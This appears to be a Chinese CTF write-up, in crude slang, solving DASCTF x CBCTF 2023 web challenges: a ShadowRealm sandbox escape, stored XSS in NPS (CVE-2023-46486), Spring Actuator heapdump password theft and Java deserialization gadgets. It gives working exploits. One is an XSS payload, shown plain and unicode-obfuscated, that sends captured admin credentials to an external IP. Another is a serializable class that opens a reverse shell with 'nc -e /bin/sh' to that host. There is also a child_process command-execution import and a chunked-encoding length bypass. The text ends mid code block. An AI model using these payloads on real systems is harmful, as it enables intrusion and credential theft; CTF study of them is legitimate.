DAS0RAYSxCBCTF
 写在前面
wcsnmd, 谁给👴出的这么恶心的 web,nmd 爆零了,tmd 总共 3100 的解,什么√⑧玩意儿.
wp:DASCTF x CBCTF - 飞书云文档 (feishu.cn)
DASCTFXCBCTF_2023_bypassJava_Wp (pankas.top)
 yet another box
这题是一个比较新的沙箱 shadowrealm , 这 byd 和 node 的 vm8 太一样,有着自己的全局对象和内置函数,就挺抽象,没法像 vm , 也无法通过 prototype pollution  控制主模块中的内置属性另外由于与 package.json 声明了 “type”:“module” 且文件结尾为 .mjs,所采用的 ESM 默认 strict mode,无法通过 [stack-trace-api](Stack trace API・V8 — 堆栈跟踪 API・V8 发动机) 跨上下文取得可利用对象。
 Stack trace API
仅作为学习记录使用,并不为本题提供思路.
默认情况下,V8 抛出的几乎所有错误都有一个属性,抛出错误的时候会用到方法,该方法能获得到外面的全局对象.
 Shadow-Realm-API
Wrapped Function Exotic Objects  是一种奇异对象,内含一个回调函数。具有一些内置槽 slot ,:
| Internal slots | Type | Description | 
| [[WrappedTargetFunction]] | Callable Object | Stores the callable object. | 
| [[Call]] | The [[Call]] internal method | Executes code associated with this object’s [[WrappedTargetFunction]]. | 
| [[Realm]] | Realm Record | The realm in which the function was created. | 
还有 [[Prototype]] and [[Extensible]]
对象的 [[call]] 方法获取两个参数:thisArgument, argumentsList . 调用时会实现以下步骤:
1. 设置运行代码的上下文。执行上下文通常包括执行函数的作用域、变量、this 值等信息。
2. 设置新的作用域 calleecontext.
3. 执行 assert 断言,确保 calleecontext 是目前正在执行的上下文.
4. 用 result 储存 **OrdinaryWrappedFunctionCall (F, thisArgument, argumentsList)** 的运行结果
5.calleeContext 被从执行上下文栈中移除,而 callerContext 被恢复为当前运行的执行上下文。
6. 判断返回类型,如果 [[TYPE]] 已返回,则返回 value.
7. 处理异常
8. 执行结束.
 dynamic import 方案
通过动态 import 允许我们按需加载 JavaScript 模块,而不会在最开始的时候就将全部模块加载。
动态 import 返回了一个 Promise 对象,这也意味着可以在 then 中等模块加载成功后去做一些操作。
所以 import 导入需要通过 then 去触发其方法.
import 在执行方法后仍然是 promise 对象,采用的类似于链式调用.
| 12
 3
 
 | var test = import("child_process").then(m=>console.log(m))
 
 
 | 
其中 test 获取 promise 异步对象,而 m 直接就获得 child_process 对象.
 exp
简而言之
| 1
 | ShadowRealm.prototype.evaluate => PerformShadowRealmEval => Execution Contexts
 | 
支持 dynamic import
“Dynamic import” 是指在 JavaScript 中动态加载模块或文件的能力。这是 ECMAScript 2020 标准的一部分,引入了 import () 函数,它可以在运行时异步加载模块。这与传统的静态 import 语句不同,后者在代码加载时即确定了要导入的模块。
| 12
 
 | import('child_process').then(m=>m.execSync('/readflag > /app/asserts/flag'));1;
 
 | 
 nps
md 又是 xss,👴又 tnnd 不会,しね!
🧀一个 nps 网站上的 xss. 涉及 CVE-2023-46486
项目地址
影响范围:
nps<=V0.26.10
你 tm 搁这放屁呢,最新版本就是这个,21 年最后 publish 了.
漏洞怎么个事:
bootstrapTable  并未配置 escape  字段,且使用时不改默认配置

kokodayo,web/views/client/list.html

这里设置公钥,防止被 ntr (被别人用代理), 你也不希望你拿不到 shell 吧 (bushi)
同为代理,经常被提起的 frp 和 venom 都没太注意公钥,实际上是有公钥这一选项的.
这里,我们完全就能够通过客户端去进行攻击了.
 开打😓
cnm,sbwindows, 死活用不成,linux 一下就出来了和👴😡了
√⑧玩意,当👴⭐😡吧
首先下载客户端,这一点和 frp 的 admin 端和 agent 端类似
然后配置客户端的配置文件
| 12
 3
 4
 5
 
 | [common]server_addr=127.0.0.1:8024
 conn_type=tcp
 vkey=123
 remark=<sCRiPt>alert(`nps hacker`)</sCrIpT>
 
 | 

× 成功了,狠狠地 × 进去
 remote 干🤪
 忆!悟!这就是 xss 的机器人创造
首先题目通过 js 代码造了个后台机器人,👴很喜欢
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 
 | import {chromium, errors} from "playwright-chromium";
 const PASSWORD = "DASCTF_flag";
 (async () => {
 async function visit() {
 const page = await context.newPage();
 try {
 for (let i = 0; i < 3; i++){
 try{
 await page.goto('http://a.o.com:8080/client/list');
 break;
 }catch (e) {
 console.log(e);
 }
 }
 await page.waitForTimeout(1000);
 const element = await page.isVisible('button[langtag="word-login"]');
 if (element) {
 await page.fill('input[name="username"]', 'admin');
 await page.fill('input[name="password"]', PASSWORD);
 await page.click('button[langtag="word-login"]');
 }
 await page.waitForTimeout(1000);
 await page.close();
 } catch (e) {
 if (e instanceof errors.TimeoutError){
 console.log(e);
 await page.close();
 }else{
 console.log(e);
 }
 }
 }
 
 const browser = await chromium.launch({
 headless: true
 });
 const context = await browser.newContext();
 context.setDefaultTimeout(10000);
 
 setInterval(visit, 30000);
 })();
 
 
 
 | 
看不懂没关系,👴来带你分析一下.
首先整个就是一坨 shit⛰,
通过一个箭头函数 () 的方式立即调用
| 12
 3
 4
 5
 6
 
 | const browser = await chromium.launch({headless: true
 });
 const context = await browser.newContext();
 context.setDefaultTimeout(10000);
 setInterval(visit, 30000);
 
 | 
首先创建一个浏览器和上下文,然后设置 setIneterval, 表示每三十秒调用 visit, 函数,让👴看看 visit 函数怎么个事
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | async () => {async function visit() {
 const page = await context.newPage();
 try {
 for (let i = 0; i < 3; i++){
 try{
 await page.goto('http://a.o.com:8080/client/list');
 break;
 }catch (e) {
 console.log(e);
 }
 }
 await page.waitForTimeout(1000);
 const element = await page.isVisible('button[langtag="word-login"]');
 if (element) {
 await page.fill('input[name="username"]', 'admin');
 await page.fill('input[name="password"]', PASSWORD);
 await page.click('button[langtag="word-login"]');
 }
 await page.waitForTimeout(1000);
 await page.close();
 } catch (e) {
 if (e instanceof errors.TimeoutError){
 console.log(e);
 await page.close();
 }else{
 console.log(e);
 }
 }
 }
 
 | 
首先获取新页面,然后访问三次 http://a.o.com:8080/client/list
你看看眼熟不,/client/list 刚好就是刚才展示 xss 的路径,你品,你细品。这个 host 眼熟不,这可是在 docker 里面设置的地址映射啊.
ならば 答えはひとつだ
就是 xss, 接下来就是分析这个机器人事怎么操作的了.
首先要看有无 button[langtag="word-login"]  这玩意
那我们就需要设置一个 button 了,不过我们可以在这里面下点毒
| 1
 | <button onclick="fetch('http://43.143.192.19:1145/',{method:'POST',body:$('#username')[0].value+'___'+$('#password')[0].value});" langtang=></button>
 | 
$(‘#username’) 是一个 jQuery 选择器,用于选择具有指定 id 属性的 HTML 元素。在这个选择器中,#username 表示要选择 id 为 “username” 的元素。会从输入获取
| 12
 3
 
 | <input type="text" id="username" name="username" value="flag">
 
 
 | 
再根据这个
| 12
 
 | await page.fill('input[name="username"]', 'admin');await page.fill('input[name="password"]', PASSWORD);
 
 | 
让机器人去输入我们设置好的登录框,从而通过 input 获取到 flag.
| 12
 
 | <input name="username" id="username" class="form-control" placeholder="Username" required="" langtag="word-username"><input name="password" id="password" type="password" class="form-control" placeholder="Password" required="" langtag="word-password">
 
 | 
如此,圈套已设,只等敌军进入
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <html><head></head>
 <body>
 <form class="m-t" onsubmit="return false">
 <div class="form-group">
 <input name="username" id="username" class="form-control" placeholder="Username" required="" langtag="word-username">
 </div>
 <div class="form-group">
 <input name="password" id="password" type="password" class="form-control" placeholder="Password" required="" langtag="word-password">
 </div>
 <button onclick="fetch('http://43.143.192.19:1145/',{method:'POST',body:$('#username')[0].value+'___'+$('#password')[0].value});" langtag="word-login">Login</button>
 </form>
 </body>
 </html>
 
 | 
这么复杂数据传输起来不方便,👴不喜欢,换一个
 exp
unicode 就行,而且控制台大大支持 unicode
| 12
 3
 4
 5
 
 | [common]server_addr=node4.buuoj.cn:26658
 conn_type=tcp
 vkey=123
 remark=</a><sCRiPt>document.write`\u003c\u0068\u0074\u006d\u006c\u003e\u000a\u0020\u0020\u0020\u0020\u003c\u0068\u0065\u0061\u0064\u003e\u003c\u002f\u0068\u0065\u0061\u0064\u003e\u000a\u0020\u0020\u0020\u0020\u003c\u0062\u006f\u0064\u0079\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0066\u006f\u0072\u006d\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u006d\u002d\u0074\u0022\u0020\u006f\u006e\u0073\u0075\u0062\u006d\u0069\u0074\u003d\u0022\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0066\u0061\u006c\u0073\u0065\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0064\u0069\u0076\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0067\u0072\u006f\u0075\u0070\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0069\u006e\u0070\u0075\u0074\u0020\u006e\u0061\u006d\u0065\u003d\u0022\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u0020\u0069\u0064\u003d\u0022\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0063\u006f\u006e\u0074\u0072\u006f\u006c\u0022\u0020\u0070\u006c\u0061\u0063\u0065\u0068\u006f\u006c\u0064\u0065\u0072\u003d\u0022\u0055\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003d\u0022\u0022\u0020\u006c\u0061\u006e\u0067\u0074\u0061\u0067\u003d\u0022\u0077\u006f\u0072\u0064\u002d\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u002f\u0064\u0069\u0076\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0064\u0069\u0076\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0067\u0072\u006f\u0075\u0070\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0069\u006e\u0070\u0075\u0074\u0020\u006e\u0061\u006d\u0065\u003d\u0022\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0069\u0064\u003d\u0022\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0074\u0079\u0070\u0065\u003d\u0022\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0063\u006c\u0061\u0073\u0073\u003d\u0022\u0066\u006f\u0072\u006d\u002d\u0063\u006f\u006e\u0074\u0072\u006f\u006c\u0022\u0020\u0070\u006c\u0061\u0063\u0065\u0068\u006f\u006c\u0064\u0065\u0072\u003d\u0022\u0050\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u0020\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0064\u003d\u0022\u0022\u0020\u006c\u0061\u006e\u0067\u0074\u0061\u0067\u003d\u0022\u0077\u006f\u0072\u0064\u002d\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0022\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u002f\u0064\u0069\u0076\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u0062\u0075\u0074\u0074\u006f\u006e\u0020\u006f\u006e\u0063\u006c\u0069\u0063\u006b\u003d\u0022\u0066\u0065\u0074\u0063\u0068\u0028\u0027\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0034\u0033\u002e\u0031\u0034\u0033\u002e\u0031\u0039\u0032\u002e\u0031\u0039\u003a\u0031\u0031\u0034\u0035\u002f\u0027\u002c\u007b\u006d\u0065\u0074\u0068\u006f\u0064\u003a\u0027\u0050\u004f\u0053\u0054\u0027\u002c\u0062\u006f\u0064\u0079\u003a\u0024\u0028\u0027\u0023\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065\u0027\u0029\u005b\u0030\u005d\u002e\u0076\u0061\u006c\u0075\u0065\u002b\u0027\u005f\u005f\u005f\u0027\u002b\u0024\u0028\u0027\u0023\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0027\u0029\u005b\u0030\u005d\u002e\u0076\u0061\u006c\u0075\u0065\u007d\u0029\u003b\u0022\u0020\u006c\u0061\u006e\u0067\u0074\u0061\u0067\u003d\u0022\u0077\u006f\u0072\u0064\u002d\u006c\u006f\u0067\u0069\u006e\u0022\u003e\u004c\u006f\u0067\u0069\u006e\u003c\u002f\u0062\u0075\u0074\u0074\u006f\u006e\u003e\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u003c\u002f\u0066\u006f\u0072\u006d\u003e\u000a\u0020\u0020\u0020\u0020\u003c\u002f\u0062\u006f\u0064\u0079\u003e\u000a\u003c\u002f\u0068\u0074\u006d\u006c\u003e`</sCrIpT>
 
 | 
| 1
 | ./npc -config ./conf/npc.conf
 | 

终于拿到了艹,30s 点一次,👴tm 以为 x 不进去了
まだまだね、弱い!
 Deserialize?Upload!
 actuator😫

首先,题目有个🚢♥的依赖,显然👴不知道这是干啥的,怎么办,学!
Spring boot——Actuator 详解 - 曹伟雄 - 博客园 (cnblogs.com)
配置方面
| 12
 3
 4
 
 | <dependency><groupId>org.springframework.boot</groupId>
 <artifactId>spring-boot-starter-actuator</artifactId>
 </dependency>
 
 | 
有了这个依赖,那么 Spring 就会自动开放 /actuator/health  和 /actuator/info  这两个路径
访问 [127.0.0.1:9090/actuator/](http://127.0.0.1:9090/actuator/) , 可以得到 /acturator 的路由
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 
 | {"_links": {
 "self": {
 "href": "http://127.0.0.1:9090/actuator",
 "templated": false
 },
 "health": {
 "href": "http://127.0.0.1:9090/actuator/health",
 "templated": false
 },
 "health-path": {
 "href": "http://127.0.0.1:9090/actuator/health/{*path}",
 "templated": true
 },
 "info": {
 "href": "http://127.0.0.1:9090/actuator/info",
 "templated": false
 },
 "env": {
 "href": "http://127.0.0.1:9090/actuator/env",
 "templated": false
 },
 "env-toMatch": {
 "href": "http://127.0.0.1:9090/actuator/env/{toMatch}",
 "templated": true
 },
 "heapdump": {
 "href": "http://127.0.0.1:9090/actuator/heapdump",
 "templated": false
 }
 }
 }
 
 | 
以下是一些经常使用的路径
| HTTP 方法 | Endpoint | Description | 
| GET | /actuator | 查看有哪些路径 | 
| GET | /actuator/env | 查看所有环境属性,看 Spring 的的 properties, 但是会自动脱敏掉一些 secret key 等敏感信息 | 
| GET | /actuator/health | 查看运行指标 | 
| GET | /actuator/info | 查看 properties 中 info 开头的属性,沒啥用 | 
| GET | /actuator/heapdump | 获取 JVM 的 heap dump | 
🤣默认 Actuator  /actuator/health  和 /actuator/info  两个 endpoint,如果要开放其他 endpoint 的話,需在在 application.properties 中做设置。
Heap dump(堆转储)是指将一个 Java 进程的内存中的对象信息和数据结构以二进制格式写入文件,以便进行内存分析和排查内存泄漏等问题。Heap dump 包含了 Java 堆内存中的对象实例、对象引用关系、类信息等,它是诊断和调试 Java 应用程序的重要工具之一。
👴说点人话:反正 Heap dump 事内存相关的东西,肯定有敏感信息,👴就是要把它下下来进行一通乱超,不知道你们怎么忍得住的,事👴直接拿起来狠狠地分析.
怎么分析,当时事用 jdk 自带的 jhat
| 1
 | jhat -J-Xmx512M "/path/to/heapdump"
 | 
然后就会本地起一个服务器,里面就加载内存的内容
md, 依托✍特,
| 12
 3
 4
 
 | public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {((HttpSecurity)((FormLoginConfigurer)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/"})).permitAll().antMatchers(new String[]{"/admin/**"})).authenticated().and()).formLogin().loginProcessingUrl("/login")).permitAll()).and()).csrf().disable();
 return (SecurityFilterChain)http.build();
 }
 
 | 
🧀spring 安全配置, http.authorizeRequests().antMatchers(new String[]{"/"}).permitAll()  表示对 / 路由访问允许任意用户,
antMatchers(new String[]{"/admin/**"}).authenticated()  表示 /admin/  开头验证用户
.formLogin().loginProcessingUrl("/login").permitAll() /login 的表达登录不需要验证
这里就是让👴拿到 password
 题目实践😓😡
wcsndm,sb 东西,题目环境没了,行吧,👴本地搭一个,nmd 套模板整了个 docker-compose, 告诉👴nmd project name must not be empty , 你 tmd 倒是告诉👴哪里没有 project name, 阿米诺斯,一格德拉米.
只能手动 docker build.
同样拿到 heapdump
直接打开
别问👴哪里装,这 nmjava 自带的
进行一波 OQL 查询
| 1
 | select s from java.util.LinkedHashMap$Entry s where /spring.security.user.password/.test(s.key)
 | 
这里用的事正则测试 /rgexp/.test () 的形式,虽然里面内容没用到啥正则,只是走个形式而已,别问👴为啥不直接查 value,nmd value 是个对象还未知,你查个√⑧.

tmd /login 登进去,让👴看看怎么个事

源赖氏一个后台管理系统,能用文件上传功能的地方.
 反序列化分析😛
| 12
 3
 4
 5
 6
 7
 
 | @GetMapping({"/deserialize"})public void deserialize(@RequestParam("b64str") String b64str) throws Exception {
 byte[] serialized = Base64.getDecoder().decode(b64str);
 ByteArrayInputStream bis = new ByteArrayInputStream(serialized);
 SafeObjectInputStream ois = new SafeObjectInputStream(bis);
 ois.readObject();
 }
 
 | 
很美好对吧,jackson 链直接打,但是👴发现了不对劲,md 有毒
还是看看远处的 SafeObjectInputStream  吧
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | public SafeObjectInputStream(InputStream is) throws Exception {super(is);
 }
 
 protected Class<?> resolveClass(ObjectStreamClass input) throws IOException, ClassNotFoundException {
 if (BLACKLIST.contains(input.getName())) {
 throw new SecurityException("Hacker!!");
 } else {
 return super.resolveClass(input);
 }
 }
 
 static {
 BLACKLIST.add("com.fasterxml.jackson.databind.node.POJONode");
 BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
 BLACKLIST.add("java.lang.Runtime");
 BLACKLIST.add("java.security.SignedObject");
 }
 
 | 
都给你 ban 了,rnm, 出题人真的阴险,现在不把 jackson 链 ban 了,都不敢反序列化了是吧😅
怎么绘世呢
 文件上传 + 反序列化组合拳😤
题目给了文件上传的功能,那总不能不用吧,要不然题目整这 β÷ 玩意干嘛呀.😅
正好前面通过 env 泄露得知 java_home 的位置

什么,你不知道 java_home 事干嘛的?
来,跟👴一起念:
JAVA_HOME  是一个环境变量,用于指示 Java 开发工具和应用程序在计算机上的安装位置。它主要用于以下几个方面的作用:
- Java 开发工具的定位: JAVA_HOME变量告诉计算机的操作系统和其他开发工具 Java 开发工具的安装位置。这对于编译、运行和调试 Java 程序非常重要。例如,当你使用 Java 编译器 (javac) 编译 Java 代码时,系统需要知道JAVA_HOME的位置以找到javac可执行文件。
- Java 运行时环境(JRE)的定位:除了开发工具, JAVA_HOME也可以用于定位 Java 运行时环境(JRE)的位置。JRE 包含了运行 Java 应用程序所需的类库和运行时组件。如果你的系统上有多个不同版本的 Java 安装,设置JAVA_HOME可以确保你使用的是正确的 Java 版本。
- 应用程序的定位:某些 Java 应用程序可能需要知道 Java 的安装位置,以便正确配置自己。通过设置  JAVA_HOME环境变量,这些应用程序可以轻松找到所需的 Java 运行时环境。
- 开发工具和构建工具的配置:许多 Java 集成开发环境(IDE)和构建工具(如 Maven 和 Gradle)使用  JAVA_HOME变量来配置其内部使用的 Java 环境。这有助于确保项目在正确的 Java 版本下编译和运行。
- 跨平台兼容性:通过使用  JAVA_HOME变量,可以使 Java 开发环境在不同的操作系统上更具可移植性。它允许开发人员编写一次代码,然后在不同平台上使用相同的JAVA_HOME变量来运行代码。
总之, JAVA_HOME  是一个关键的环境变量,用于确保计算机上的 Java 开发工具、应用程序和运行时环境能够正确地找到和使用 Java 安装。它在 Java 开发和部署过程中起到重要作用,特别是在多版本 Java 安装和跨平台开发的情况下。
不说人话就是这样,这是伟大的 ChatGPT 说的,👴翻译一下就是,运行脚本的位置在那,要运行的 class 也在那,所以有啥 class 放那,他就能加载啥 class.
所以接下来要干啥懂了没,上传点具有攻击性的 class 到 javahome 里面,狠狠地入它一波.
而且不是有反序列化吗,到这你不可能还不知道吧,创造一个反序列化带有直接恶意操作的类,直接 getshell😊
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | import java.io.*;
 
 public class exp implements Serializable {
 
 private  void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
 
 in.defaultReadObject();
 
 Process p = Runtime.getRuntime().exec(new String[]{"nc","43.143.192.19","1145","-e","/bin/sh"});
 InputStream is = p.getInputStream();
 BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 p.waitFor();
 if(p.exitValue()!=0){
 }
 String s = null;
 while((s=reader.readLine())!=null){
 System.out.println(s);
 }
 
 }
 }
 
 | 
写个 exp 类,编译好后再上传,别直接 sb 到把 java 上传了

但是👴不太高兴,因为有点 bug, 第一次搭 docker 打不成,第二次终出了😒.
 DASCTFXCBCTF_2023_bypassJava
真 tm 恶心的 java 题,不仅有绕过,还 tm 有 RASP 这种抽象的东西,👴太弱了,👴要学.
题目环境甚至不是靶机,而是静态资源,很不爽.
还好出题人开源了:pankass/DASCTF_X_CBCTF2023_bypassJava: 题目源码和 docker 环境 (github.com)
 Content-Length 限制
不多说,第一时间想到 jackson 链子,但是有长度限制

这长度限制是人能想出来的吗😓,nm 稍微大一点,随便不都得几千?
过不了,根本过不了,让我看看 bypass 怎么个事:
这里如果头部有 transfer-encoding, 就会进 addInputFilter

这里面如果有 chunked, 那么就会设置成 this.contentDelimitation  为 true

最后这里就会进入 if, 从而设置 ContentLength 为 - 1, 绕过长度限制.
 chuncked 编码怎么发
分块编码(Transfer-Encoding: chunked) - 妙音天女 - 博客园 (cnblogs.com)
简单看一下们大概就是
| 12
 3
 4
 5
 6
 
 | 十六进制长度/r/ncontent/r/n
 ....
 
 0/r/n
 /r/n
 
 | 
每一块都是 十六进制表示长度 然后, /r/n
接着输入 content, 然后 /r/n
最后一块一定要输入 0/r/n/r/n
👴浅浅写个脚本
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | import requests
 
 url = "http://127.0.0.1:8080/read"
 content = open("data.txt","r").read()
 leng = hex(len(content)).replace("0x","")
 
 body = leng+"\r\n"+content+"\r\n0\r\n\r\n"
 print(body)
 
 headers= {"transfer-encoding":"chunked"}
 
 
 res = requests.post(url=url,data=body,headers=headers)
 
 | 
soeasy,🤣,
然而这只是第一步,👴现场甚至第一步都没过去.
 不稳定 jackson 链问题
关于 java 反序列化中 jackson 链子不稳定问题 (pankas.top)
从 JSON1 链中学习处理 JACKSON 链的不稳定性 - 先知社区 (aliyun.com)
👴ctmd 打 jackson 链子的时候,有史以来第一次遇见了陌生的报错
| 1
 | com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])
 | 
且经过本地调试,似乎进入了陌生的代码段,👴很不乐意.

具体来说,就是在调用 getters 的时候,优先奏了 getStylesheetDOM  这个方法,但是,众所周知,我们在序列化的时候,是不会去设置这个值的,所以理所应当的,nmd 空指针了.😓😅而当其调用 getter 方法时优先调用  getOutputProperties  方法时才是我们正常想要的结果。
这 nm 真有坑啊,比赛想打这条链子,不说 ban 位问题,nmd 这问题也只能通过不停地重置靶机解决了,比赛你重置靶机,静态地址等似吧.
现在👴来分析一下怎么个事,优化一下
 流程
这条链子分析👴不想说了,闭着眼睛都知道怎么个事.
关键是触发 POJONode  的 toString  方法,然后内部经过一系列序列化器调用  POJONode  中封的  _value  属性的 getter 方法,从而调用  TemplatesImpl  类型对象的  getOutputProperties  方法从而导致执行任意代码。
重点就是从 toString  到 getters  的调用这一过程
栈调试放在这:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
 serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
 serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
 defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
 serialize:115, POJONode (com.fasterxml.jackson.databind.node)
 serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
 serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
 _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
 serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
 serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
 _writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
 writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
 nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
 toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
 
 
 | 
在  com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField  方法中利用反射来执行其  getters  方法

这次就调用了 getoutputProperties, 很好,👴喜欢🤪
那就往前看看哪里获取了 getters

在 com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields  中, prop  数组存储了 getters , 通过循环遍历所有 getters  并调用 serializeAsField
追踪一下这个变量,从 	_props  获得
最终在 com.fasterxml.jackson.databind.introspect  赋值
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | collectAll:418, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)getJsonValueAccessor:270, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect)
 findJsonValueAccessor:258, BasicBeanDescription (com.fasterxml.jackson.databind.introspect)
 findSerializerByAnnotations:391, BasicSerializerFactory (com.fasterxml.jackson.databind.ser)
 _createSerializer2:224, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
 createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
 _createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind)
 _createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind)
 findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind)
 findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind)
 defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
 serialize:115, POJONode (com.fasterxml.jackson.databind.node)
 serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
 serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
 _serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
 serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
 serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
 _writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
 writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
 nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
 toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
 
 
 | 

这里就是第一次决定 getters  顺序

随后通过 getDeclaredMethods  获取方法,那这里获取方法的顺序是不固定的。
并且,在 com.fasterxml.jackson.databind.SerializerProvider#findTypedValueSerializer  方法里,会将获取的方法顺序进行缓存,之前提到过了,缓存后会进入其它 if。
因此第一次打不通,之后也无法打通了
 为什么顺序不一定
获取顺序是根据地址的大小来排序的,期间存在内存 free 的动作,那地址是不会一直线性变化的,之所以不按照字母排序,主要还是为了速度考虑,根据地址排序是最快的。
是反射  getDeclaredMethods  获取到方法的顺序是不确定的,最终导致执行相关 getter 方法的顺序也是不确定的,当  TemplatesImpl  的  getStylesheetDOM  方法先于  getOutputProperties  方法执行时就会导致空指针异常从而导致调用链报错中断,exp 利用失败。
 解决方法😊
org.springframework.aop.framework.JdkDynamicAopProxy  解决问题
 实现
众所周知,java 有个 b 玩意叫做 动态代理 ,很 nb,👴只在 cc 中用过,不清楚.
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
